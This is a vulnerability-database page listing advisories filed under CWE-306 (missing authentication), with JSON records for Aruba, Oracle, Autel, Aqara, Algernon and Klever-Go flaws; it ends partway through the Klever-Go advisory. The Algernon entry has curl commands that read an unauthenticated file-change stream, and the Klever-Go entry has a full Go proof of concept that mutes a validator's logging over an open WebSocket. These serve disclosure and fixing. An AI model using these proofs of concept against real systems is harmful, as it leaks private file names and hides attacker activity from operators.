Common Weakness Enumeration

CWE-306

Allowed

Missing Authentication for Critical Function

Abstraction: Base · Status: Draft

The product does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources.

4625 vulnerabilities reference this CWE, most recent first.

GHSA-9Q8X-85PC-99R3

Vulnerability from github – Published: 2022-05-24 17:19 – Updated: 2023-01-27 21:31
VLAI
Details

The ClearPass Policy Manager web interface is affected by a vulnerability that leads to authentication bypass. Upon successful bypass an attacker could then execute an exploit that would allow to remote command execution in the underlying operating system. Resolution: Fixed in 6.7.13-HF, 6.8.5-HF, 6.8.6, 6.9.1 and higher.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2020-7115"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-06-03T13:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "The ClearPass Policy Manager web interface is affected by a vulnerability that leads to authentication bypass. Upon successful bypass an attacker could then execute an exploit that would allow to remote command execution in the underlying operating system. Resolution: Fixed in 6.7.13-HF, 6.8.5-HF, 6.8.6, 6.9.1 and higher.",
  "id": "GHSA-9q8x-85pc-99r3",
  "modified": "2023-01-27T21:31:14Z",
  "published": "2022-05-24T17:19:11Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-7115"
    },
    {
      "type": "WEB",
      "url": "https://www.arubanetworks.com/assets/alert/ARUBA-PSA-2020-005.txt"
    },
    {
      "type": "WEB",
      "url": "http://packetstormsecurity.com/files/158368/ClearPass-Policy-Manager-Unauthenticated-Remote-Command-Execution.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-9R44-HC5X-29RJ

Vulnerability from github – Published: 2026-08-18 21:31 – Updated: 2026-08-18 21:31
VLAI
Details

Vulnerability in the Oracle Identity Manager product of Oracle Fusion Middleware (component: OIM Legacy UI). Supported versions that are affected are 12.2.1.4.0 and 14.1.2.1.0. Easily exploitable vulnerability allows low privileged attacker with network access via T3, IIOP to compromise Oracle Identity Manager. Successful attacks of this vulnerability can result in takeover of Oracle Identity Manager. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-60716"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-18T21:16:40Z",
    "severity": "HIGH"
  },
  "details": "Vulnerability in the Oracle Identity Manager product of Oracle Fusion Middleware (component: OIM Legacy UI).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.1.0. Easily exploitable vulnerability allows low privileged attacker with network access via T3, IIOP to compromise Oracle Identity Manager.  Successful attacks of this vulnerability can result in takeover of Oracle Identity Manager. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).",
  "id": "GHSA-9r44-hc5x-29rj",
  "modified": "2026-08-18T21:31:56Z",
  "published": "2026-08-18T21:31:56Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-60716"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cspuaug2026.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-9RCQ-FC99-HXMQ

Vulnerability from github – Published: 2022-05-24 17:45 – Updated: 2022-06-29 00:00
VLAI
Details

Grandstream GRP261x VoIP phone running firmware version 1.0.3.6 (Base) allow Authentication Bypass in its administrative web interface.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2020-25218"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287",
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-03-29T17:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "Grandstream GRP261x VoIP phone running firmware version 1.0.3.6 (Base) allow Authentication Bypass in its administrative web interface.",
  "id": "GHSA-9rcq-fc99-hxmq",
  "modified": "2022-06-29T00:00:31Z",
  "published": "2022-05-24T17:45:36Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-25218"
    },
    {
      "type": "WEB",
      "url": "https://cwe.mitre.org/data/definitions/306.html"
    },
    {
      "type": "WEB",
      "url": "https://github.com/fireeye/Vulnerability-Disclosures/blob/master/FEYE-2021-0002/FEYE-2021-0002.md"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-9RGW-7FG2-WJGR

Vulnerability from github – Published: 2025-06-26 21:31 – Updated: 2025-06-26 21:31
VLAI
Details

Autel MaxiCharger AC Wallbox Commercial PIN Missing Authentication Information Disclosure Vulnerability. This vulnerability allows remote attackers to disclose sensitive information on affected installations of Autel MaxiCharger AC Wallbox Commercial charging stations. Authentication is not required to exploit this vulnerability.

The specific flaw exists within the Pile API. The issue results from the lack of authentication prior to allowing access to functionality. An attacker can leverage this vulnerability to disclose credentials, leading to further compromise. Was ZDI-CAN-26352.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-6678"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-06-25T18:15:25Z",
    "severity": "HIGH"
  },
  "details": "Autel MaxiCharger AC Wallbox Commercial PIN Missing Authentication Information Disclosure Vulnerability. This vulnerability allows remote attackers to disclose sensitive information on affected installations of Autel MaxiCharger AC Wallbox Commercial charging stations. Authentication is not required to exploit this vulnerability.\n\nThe specific flaw exists within the Pile API. The issue results from the lack of authentication prior to allowing access to functionality. An attacker can leverage this vulnerability to disclose credentials, leading to further compromise. Was ZDI-CAN-26352.",
  "id": "GHSA-9rgw-7fg2-wjgr",
  "modified": "2025-06-26T21:31:14Z",
  "published": "2025-06-26T21:31:14Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-6678"
    },
    {
      "type": "WEB",
      "url": "https://www.zerodayinitiative.com/advisories/ZDI-25-342"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-9RPW-8VG4-Q84P

Vulnerability from github – Published: 2026-06-12 18:31 – Updated: 2026-06-12 18:31
VLAI
Details

The Aqara Cloud Developer Portal (developer.aqara.com) issued a developer token to any email address supplied by the attacker. This is an instance of "CWE-306: Missing Authentication for Critical Function" with an estimated CVSS of CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N (6.5 Medium). When combined with CVE-2026-50083, CVE-2026-50084, and CVE-2026-50085, any otherwise-unauthenticated attacker could execute a full takeover of affected devices.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-50082"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-12T16:16:31Z",
    "severity": "MODERATE"
  },
  "details": "The Aqara Cloud Developer Portal (developer.aqara.com) issued a developer token to any email address supplied by the attacker. This is an instance of \"CWE-306: Missing Authentication for Critical Function\" with an estimated CVSS of CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N (6.5 Medium). When combined with CVE-2026-50083, CVE-2026-50084, and CVE-2026-50085, any otherwise-unauthenticated attacker could execute a full takeover of affected devices.",
  "id": "GHSA-9rpw-8vg4-q84p",
  "modified": "2026-06-12T18:31:58Z",
  "published": "2026-06-12T18:31:58Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-50082"
    },
    {
      "type": "WEB",
      "url": "https://github.com/xn0tsa/theres-no-place-like-home"
    },
    {
      "type": "WEB",
      "url": "https://www.runzero.com/advisories/aqara-dev-portal-auth-token-2026-50082"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-9V4J-7G44-QCQW

Vulnerability from github – Published: 2026-05-19 14:36 – Updated: 2026-05-19 14:36
VLAI
Summary
Algernon: Auto-refresh SSE event server binds to all interfaces with Access-Control-Allow-Origin: * and no authentication
Details

Summary

When auto-refresh is enabled, Algernon spins up an SSE handler that streams a data: line for every filesystem event under the watched directory. The handler performs no authentication of any kind — no shared token, no cookie check against the permissions2 userstate, no IP allow-list, no path-prefix permission. Any client that can complete a TCP connection to the listener address receives the stream.

This advisory covers the authentication gap in isolation. The cross-origin browser-reach (advisory #2b) and the network-reach (advisory #2c) amplify the impact, but each is independently fixable; this finding addresses the case where a same-origin or LAN-local client connects directly to the SSE port and reads the stream without proving anything about its identity.

Details

Root cause — the SSE handler does not consult permissions2 or any other auth

// vendor/github.com/xyproto/recwatch/eventserver.go:100-144  (1.17.6)
func GenFileChangeEvents(events TimeEventMap, mut *sync.Mutex, maxAge time.Duration, allowed string) http.HandlerFunc {
    return func(w http.ResponseWriter, _ *http.Request) {
        w.Header().Set("Content-Type", "text/event-stream;charset=utf-8")
        w.Header().Set("Cache-Control", "no-cache")
        w.Header().Set("Connection", "keep-alive")
        w.Header().Set("Access-Control-Allow-Origin", allowed)
        // ... loop emits one SSE record per filename touched ...
    }
}

Note the handler signature: func(w http.ResponseWriter, _ *http.Request). The request is discarded — no Cookie, Authorization, query-string, or remote-IP check is performed before the stream begins.

In 1.17.6 the listener was placed on its own http.ServeMux (recwatch/eventserver.go:200-215), wholly outside the perm.Rejected middleware chain that gates Algernon's main HTTP listener. Even an operator who had configured admin/user path prefixes via perm.AddAdminPath, set a cookieSecret, and forced authentication on every URL of the main server had no way to gate this listener — it was unreachable from the mux argument the perm middleware uses.

Why authentication matters for this listener

The stream contents are not public data. They reveal:

  • Which files the developer is actively editing, with sub-second timing precision.
  • The existence of files inside the watched root (including files the operator may have meant to keep private — .env.local, secrets.lua, in-progress draft files).
  • By inference, the directory layout of the project.

A client that can connect to the listener obtains a low-rate continuous information disclosure for the lifetime of the connection. The handler is an infinite for {} loop — there is no natural session boundary or expiry.

Source-level evidence

$ rg -n 'GenFileChangeEvents|EventServer\(' vendor/github.com/xyproto/recwatch/
vendor/github.com/xyproto/recwatch/eventserver.go:101:func GenFileChangeEvents(events TimeEventMap, mut *sync.Mutex, maxAge time.Duration, allowed string) http.HandlerFunc {
vendor/github.com/xyproto/recwatch/eventserver.go:177:func EventServer(path, allowed, eventAddr, eventPath string, refreshDuration time.Duration) {

$ rg -n 'Cookie|Authorization|Token|state\.User' vendor/github.com/xyproto/recwatch/eventserver.go
# zero matches — no authentication primitive is referenced anywhere in the file

PoC (against 1.17.6)

# 1. Operator runs algernon with auto-refresh on a project directory:
algernon -a /path/to/project   # spins up :5553 on Linux/macOS, localhost:5553 on Windows

# 2. Any client that can reach the listener connects without credentials:
curl -sN http://<server>:5553/sse
# => id: 0
#    data: /path/to/project/secret-notes.md
#
#    id: 1
#    data: /path/to/project/.env.local

No Cookie, no Authorization, no X-Token, no preflight, no challenge. The connection succeeds and the stream is delivered for as long as the client keeps the socket open.

Impact

  • Confidentiality: medium. Continuous information disclosure of filenames and edit timing to anyone who can connect.
  • Integrity: none.
  • Availability: low. Each connection consumes a goroutine indefinitely; many simultaneous connections can exhaust descriptors.

Suggestions to fix

Primary fix — require a shared secret on the SSE endpoint. The auto-refresh feature already injects a script into served HTML (engine/sse.go:118-165); that script knows the SSE URL. Add a per-startup token, embed it in the injected JS, and require it on the SSE request:

// engine/sse.go -- in InsertAutoRefresh
tmplData.SessionToken = ac.sseToken    // generated once at startup, e.g. crypto/rand 32 bytes

// JS:
//   var source = new EventSource('...?token={{.SessionToken}}');

// recwatch handler:
//   if subtle.ConstantTimeCompare([]byte(r.URL.Query().Get("token")),
//                                 []byte(serverToken)) != 1 {
//       http.Error(w, "forbidden", http.StatusForbidden); return
//   }

Cookie-bearing requests work too if recwatch.EventServer is moved behind perm.Rejected (see "Defence in depth"). The token approach is the smaller change.

Defence in depth — mount the SSE handler on the main mux. Moving recwatch.EventServerHandler onto the main http.ServeMux automatically places the SSE handler behind whatever middleware the operator has configured — perm.Rejected, tollbooth, custom auth wrappers. This closes the same-origin half of the gap without a per-token implementation. Any dedicated-port path bypasses perm.Rejected because it uses its own http.ServeMux, and that path needs the token fix from "Primary fix" above.

Live verification

$ ./algernon.exe --nodb --httponly --server -a --addr 127.0.0.1:18781 --quiet poc2/site
$ ( curl -sN --max-time 4 http://127.0.0.1:5553/sse > stream.txt &
    sleep 1
    echo "edit-1" >> poc2/site/secret-notes.md
    echo "edit-2" >> poc2/site/.env.local
    wait )
$ cat stream.txt
id: 0
data: C:\Users\xbox\Desktop\VulnTesting\algernon-main\poc-test\poc2\site\secret-notes.md

id: 1
data: C:\Users\xbox\Desktop\VulnTesting\algernon-main\poc-test\poc2\site\.env.local

No Cookie, no Authorization header. Stream delivered.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.17.6"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/xyproto/algernon"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.17.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-1188",
      "CWE-200",
      "CWE-306",
      "CWE-942"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-19T14:36:34Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nWhen auto-refresh is enabled, Algernon spins up an SSE handler that streams a `data:` line for every filesystem event under the watched directory. The handler performs **no authentication** of any kind \u2014 no shared token, no cookie check against the `permissions2` userstate, no IP allow-list, no path-prefix permission. Any client that can complete a TCP connection to the listener address receives the stream.\n\nThis advisory covers the authentication gap in isolation. The cross-origin browser-reach (advisory #2b) and the network-reach (advisory #2c) amplify the impact, but each is independently fixable; this finding addresses the case where a same-origin or LAN-local client connects directly to the SSE port and reads the stream without proving anything about its identity.\n\n### Details\n\n#### Root cause \u2014 the SSE handler does not consult `permissions2` or any other auth\n\n```go\n// vendor/github.com/xyproto/recwatch/eventserver.go:100-144  (1.17.6)\nfunc GenFileChangeEvents(events TimeEventMap, mut *sync.Mutex, maxAge time.Duration, allowed string) http.HandlerFunc {\n    return func(w http.ResponseWriter, _ *http.Request) {\n        w.Header().Set(\"Content-Type\", \"text/event-stream;charset=utf-8\")\n        w.Header().Set(\"Cache-Control\", \"no-cache\")\n        w.Header().Set(\"Connection\", \"keep-alive\")\n        w.Header().Set(\"Access-Control-Allow-Origin\", allowed)\n        // ... loop emits one SSE record per filename touched ...\n    }\n}\n```\n\nNote the handler signature: `func(w http.ResponseWriter, _ *http.Request)`. The request is discarded \u2014 no `Cookie`, `Authorization`, query-string, or remote-IP check is performed before the stream begins.\n\nIn 1.17.6 the listener was placed on its own `http.ServeMux` ([recwatch/eventserver.go:200-215](../vendor/github.com/xyproto/recwatch/eventserver.go)), wholly outside the `perm.Rejected` middleware chain that gates Algernon\u0027s main HTTP listener. Even an operator who had configured admin/user path prefixes via `perm.AddAdminPath`, set a `cookieSecret`, and forced authentication on every URL of the main server had no way to gate this listener \u2014 it was unreachable from the `mux` argument the perm middleware uses.\n\n#### Why authentication matters for this listener\n\nThe stream contents are not public data. They reveal:\n\n- Which files the developer is actively editing, with sub-second timing precision.\n- The existence of files inside the watched root (including files the operator may have meant to keep private \u2014 `.env.local`, `secrets.lua`, in-progress draft files).\n- By inference, the directory layout of the project.\n\nA client that can connect to the listener obtains a low-rate continuous information disclosure for the lifetime of the connection. The handler is an infinite `for {}` loop \u2014 there is no natural session boundary or expiry.\n\n#### Source-level evidence\n\n```text\n$ rg -n \u0027GenFileChangeEvents|EventServer\\(\u0027 vendor/github.com/xyproto/recwatch/\nvendor/github.com/xyproto/recwatch/eventserver.go:101:func GenFileChangeEvents(events TimeEventMap, mut *sync.Mutex, maxAge time.Duration, allowed string) http.HandlerFunc {\nvendor/github.com/xyproto/recwatch/eventserver.go:177:func EventServer(path, allowed, eventAddr, eventPath string, refreshDuration time.Duration) {\n\n$ rg -n \u0027Cookie|Authorization|Token|state\\.User\u0027 vendor/github.com/xyproto/recwatch/eventserver.go\n# zero matches \u2014 no authentication primitive is referenced anywhere in the file\n```\n\n### PoC (against 1.17.6)\n\n```bash\n# 1. Operator runs algernon with auto-refresh on a project directory:\nalgernon -a /path/to/project   # spins up :5553 on Linux/macOS, localhost:5553 on Windows\n\n# 2. Any client that can reach the listener connects without credentials:\ncurl -sN http://\u003cserver\u003e:5553/sse\n# =\u003e id: 0\n#    data: /path/to/project/secret-notes.md\n#\n#    id: 1\n#    data: /path/to/project/.env.local\n```\n\nNo `Cookie`, no `Authorization`, no `X-Token`, no preflight, no challenge. The connection succeeds and the stream is delivered for as long as the client keeps the socket open.\n\n### Impact\n\n- **Confidentiality:** medium. Continuous information disclosure of filenames and edit timing to anyone who can connect.\n- **Integrity:** none.\n- **Availability:** low. Each connection consumes a goroutine indefinitely; many simultaneous connections can exhaust descriptors.\n\n### Suggestions to fix\n\n**Primary fix \u2014 require a shared secret on the SSE endpoint.** The auto-refresh feature already injects a script into served HTML ([engine/sse.go:118-165](../engine/sse.go)); that script knows the SSE URL. Add a per-startup token, embed it in the injected JS, and require it on the SSE request:\n\n```go\n// engine/sse.go -- in InsertAutoRefresh\ntmplData.SessionToken = ac.sseToken    // generated once at startup, e.g. crypto/rand 32 bytes\n\n// JS:\n//   var source = new EventSource(\u0027...?token={{.SessionToken}}\u0027);\n\n// recwatch handler:\n//   if subtle.ConstantTimeCompare([]byte(r.URL.Query().Get(\"token\")),\n//                                 []byte(serverToken)) != 1 {\n//       http.Error(w, \"forbidden\", http.StatusForbidden); return\n//   }\n```\n\nCookie-bearing requests work too if `recwatch.EventServer` is moved behind `perm.Rejected` (see \"Defence in depth\"). The token approach is the smaller change.\n\n**Defence in depth \u2014 mount the SSE handler on the main mux.** Moving `recwatch.EventServerHandler` onto the main `http.ServeMux` automatically places the SSE handler behind whatever middleware the operator has configured \u2014 `perm.Rejected`, `tollbooth`, custom auth wrappers. This closes the same-origin half of the gap without a per-token implementation. Any dedicated-port path bypasses `perm.Rejected` because it uses its own `http.ServeMux`, and that path needs the token fix from \"Primary fix\" above.\n\n### Live verification\n\n```\n$ ./algernon.exe --nodb --httponly --server -a --addr 127.0.0.1:18781 --quiet poc2/site\n$ ( curl -sN --max-time 4 http://127.0.0.1:5553/sse \u003e stream.txt \u0026\n    sleep 1\n    echo \"edit-1\" \u003e\u003e poc2/site/secret-notes.md\n    echo \"edit-2\" \u003e\u003e poc2/site/.env.local\n    wait )\n$ cat stream.txt\nid: 0\ndata: C:\\Users\\xbox\\Desktop\\VulnTesting\\algernon-main\\poc-test\\poc2\\site\\secret-notes.md\n\nid: 1\ndata: C:\\Users\\xbox\\Desktop\\VulnTesting\\algernon-main\\poc-test\\poc2\\site\\.env.local\n```\n\nNo `Cookie`, no `Authorization` header. Stream delivered.",
  "id": "GHSA-9v4j-7g44-qcqw",
  "modified": "2026-05-19T14:36:34Z",
  "published": "2026-05-19T14:36:34Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/xyproto/algernon/security/advisories/GHSA-9v4j-7g44-qcqw"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/xyproto/algernon"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Algernon: Auto-refresh SSE event server binds to all interfaces with Access-Control-Allow-Origin: * and no authentication"
}

GHSA-9V58-2985-QC4C

Vulnerability from github – Published: 2026-06-17 18:35 – Updated: 2026-06-17 18:35
VLAI
Details

Vulnerability in the Oracle WebCenter Sites product of Oracle Fusion Middleware (component: WebCenter Sites). Supported versions that are affected are 12.2.1.4.0 and 14.1.2.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle WebCenter Sites. Successful attacks of this vulnerability can result in takeover of Oracle WebCenter Sites. CVSS 3.1 Base Score 9.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-35296"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-17T10:40:21Z",
    "severity": "CRITICAL"
  },
  "details": "Vulnerability in the Oracle WebCenter Sites product of Oracle Fusion Middleware (component: WebCenter Sites).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle WebCenter Sites.  Successful attacks of this vulnerability can result in takeover of Oracle WebCenter Sites. CVSS 3.1 Base Score 9.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).",
  "id": "GHSA-9v58-2985-qc4c",
  "modified": "2026-06-17T18:35:23Z",
  "published": "2026-06-17T18:35:23Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-35296"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cspujun2026.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-9V83-JWFV-MH98

Vulnerability from github – Published: 2026-07-22 00:31 – Updated: 2026-07-22 00:31
VLAI
Details

Vulnerability in the Oracle Coherence product of Oracle Fusion Middleware (component: Core). Supported versions that are affected are 12.2.1.4.0, 14.1.1.0.0, 14.1.2.0.0 and 15.1.1.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via TCP to compromise Oracle Coherence. Successful attacks of this vulnerability can result in takeover of Oracle Coherence. CVSS 3.1 Base Score 9.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-60287"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-21T22:17:31Z",
    "severity": "CRITICAL"
  },
  "details": "Vulnerability in the Oracle Coherence product of Oracle Fusion Middleware (component: Core).  Supported versions that are affected are 12.2.1.4.0, 14.1.1.0.0, 14.1.2.0.0 and  15.1.1.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via TCP to compromise Oracle Coherence.  Successful attacks of this vulnerability can result in takeover of Oracle Coherence. CVSS 3.1 Base Score 9.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).",
  "id": "GHSA-9v83-jwfv-mh98",
  "modified": "2026-07-22T00:31:31Z",
  "published": "2026-07-22T00:31:31Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-60287"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cpujul2026.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-9V8P-FRVJ-2PCM

Vulnerability from github – Published: 2026-09-23 19:13 – Updated: 2026-09-23 19:13
VLAI
Summary
Klever-Go: /log controls global node logging
Details

An unauthenticated client can connect to GET /log, send an arbitrary logger profile as the first WebSocket message, and mutate the node's global logging configuration before receiving live logs from the process. I confirmed this against a local validator built from this repository: an unauthenticated client set the global log level to *:NONE, the node accepted the profile, and the node stopped emitting normal slot logs while the WebSocket connection remained open.

This is not a duplicate of the published KVM or P2P advisories. It is a management-plane flaw in the public WebSocket logging endpoint.

Vulnerability details

Affected code

  • Route exposed by default in config/node/api.yaml
  • Route registration in network/api/api.go
  • Unauthenticated upgrade in network/api/api.go
  • First client message is parsed as a logger profile and applied globally in network/api/logs/logSender.go
  • Global logger mutation happens in dependency github.com/klever-io/klever-go-logger, profile.go, Apply()

Root cause

/log is enabled by default and does not require authentication. After the WebSocket upgrade, the server reads the first client message and treats it as a logger Profile. That profile is then applied process-wide through profile.Apply(), which changes global log level patterns and output formatting options for the whole node.

After that handshake, the same unauthenticated connection is registered as a log observer and receives live logs from the running process.

Reproduction steps

Environment

  • Validator built from the repository at commit 9640d63265e910e166dfa694c8e5ddeb53018ffd
  • REST API bound locally for validation
  • Tested on 2026-05-30

Step 1: Build and run a local validator from source

cd <repo-root>

go build -o ./bin/validator ./cmd/node

./bin/validator \
  --rest-api-interface=127.0.0.1:18080 \
  --port=18083 \
  --config=./config/node/config.yaml \
  --config-api=./config/node/api.yaml \
  --config-epochs=./config/node/enableEpochs.yaml \
  --config-gas-schedule=./config/node/gasScheduleV1.yaml \
  --config-external=./config/node/external.yaml \
  --genesis-file=./config/node/genesis.json \
  --nodes-setup-file=./config/node/nodesSetup.json \
  --working-directory=./validator-report-run \
  --use-log-view

The node exposes GET /log and a plain HTTP request already shows it is a live WebSocket endpoint:

curl -i http://127.0.0.1:18080/log

Observed response:

HTTP/1.1 400 Bad Request
Sec-Websocket-Version: 13

Step 2: Confirm normal node logging before the attack

Before the attack, the validator emits periodic slot logs such as:

#################################### SLOT 14 BEGINS ####################################
#################################### SLOT 15 BEGINS ####################################

Step 3: Connect to /log without authentication and apply a global mute profile

Run the PoC file:

cd <repo-root>
go run ./poc-log-profile-control.go \
  -url ws://127.0.0.1:18080/log \
  -profile none \
  -hold 12s

Full PoC source:

package main

import (
    "flag"
    "fmt"
    "log"
    "time"

    "github.com/gorilla/websocket"
)

func main() {
    url := flag.String("url", "ws://127.0.0.1:18080/log", "WebSocket log endpoint")
    profile := flag.String("profile", "none", "Profile to send: none or trace")
    hold := flag.Duration("hold", 12*time.Second, "How long to keep the socket open")
    flag.Parse()

    payload := `{"LogLevelPatterns":"*:NONE","WithCorrelation":false,"WithLoggerName":false}`
    switch *profile {
    case "trace":
        payload = `{"LogLevelPatterns":"*:TRACE","WithCorrelation":true,"WithLoggerName":true}`
    case "none":
    default:
        log.Fatalf("unsupported profile %q", *profile)
    }

    c, _, err := websocket.DefaultDialer.Dial(*url, nil)
    if err != nil {
        log.Fatalf("dial: %v", err)
    }
    defer c.Close()

    fmt.Printf("connected to %s\n", *url)
    fmt.Printf("sending payload: %s\n", payload)

    if err := c.WriteMessage(websocket.TextMessage, []byte(payload)); err != nil {
        log.Fatalf("write payload: %v", err)
    }

    fmt.Printf("holding connection open for %s\n", hold.String())
    time.Sleep(*hold)
    fmt.Println("closing connection")
}

Save the PoC as poc-log-profile-control.go in the repository root, or run it from any directory with access to the Go module cache.

Step 4: Observe the validator accepts and applies the unauthenticated profile

While the PoC is connected, the validator prints:

websocket log profile received  profile = [pattern=*:NONE, with correlation=false, with logger name=false]

Step 5: Observe logging is suppressed while the attacker connection remains open

In my local reproduction, the validator emitted:

SLOT 14 BEGINS
websocket log profile received profile = [pattern=*:NONE, ...]
reverted log profile profile = [pattern=*:INFO, ...]
SLOT 18 BEGINS

The expected slot logs for the interval while *:NONE was active did not appear. This proves that an unauthenticated client can suppress process logs globally while the WebSocket remains connected.

Step 6: Observe the profile is restored only after the attacker disconnects

After the PoC closes the WebSocket, the validator prints:

reverted log profile  profile = [pattern=*:INFO, with correlation=false, with logger name=false]

The revert happens because the server stores the previous profile and restores it only on disconnect. During the lifetime of the attacker connection, the attacker-controlled profile remains active.

Impact

An unauthenticated attacker can:

  • read live process logs over /log
  • mute node logging completely with *:NONE
  • increase verbosity to *:TRACE and force noisy logging
  • toggle correlation and logger-name settings process-wide

This affects both confidentiality and operational integrity.

In the reproduced case, the attacker hid normal validator slot logs for multiple slot intervals. In real deployments, logs commonly contain operational details, peer information, error traces, and occasionally secrets or credentials emitted by adjacent components. Even when no secrets are present, the ability to suppress or distort logs from the public network is a meaningful security impact because it degrades detection, incident response, and operator visibility while an attacker is active.

This issue is distinct from:

  • GHSA-jc6w-wmfc-fh33 (KVM read-only execution side effects)
  • GHSA-87m7-qffr-542v (MultiDataInterceptor remote OOM)
  • GHSA-74m6-4hjp-7226 (MultiDataInterceptor throttler slot leak)

Those are VM/P2P-path flaws. This finding is an unauthenticated management-plane flaw in the WebSocket logging endpoint.

Recommended fix

Immediate

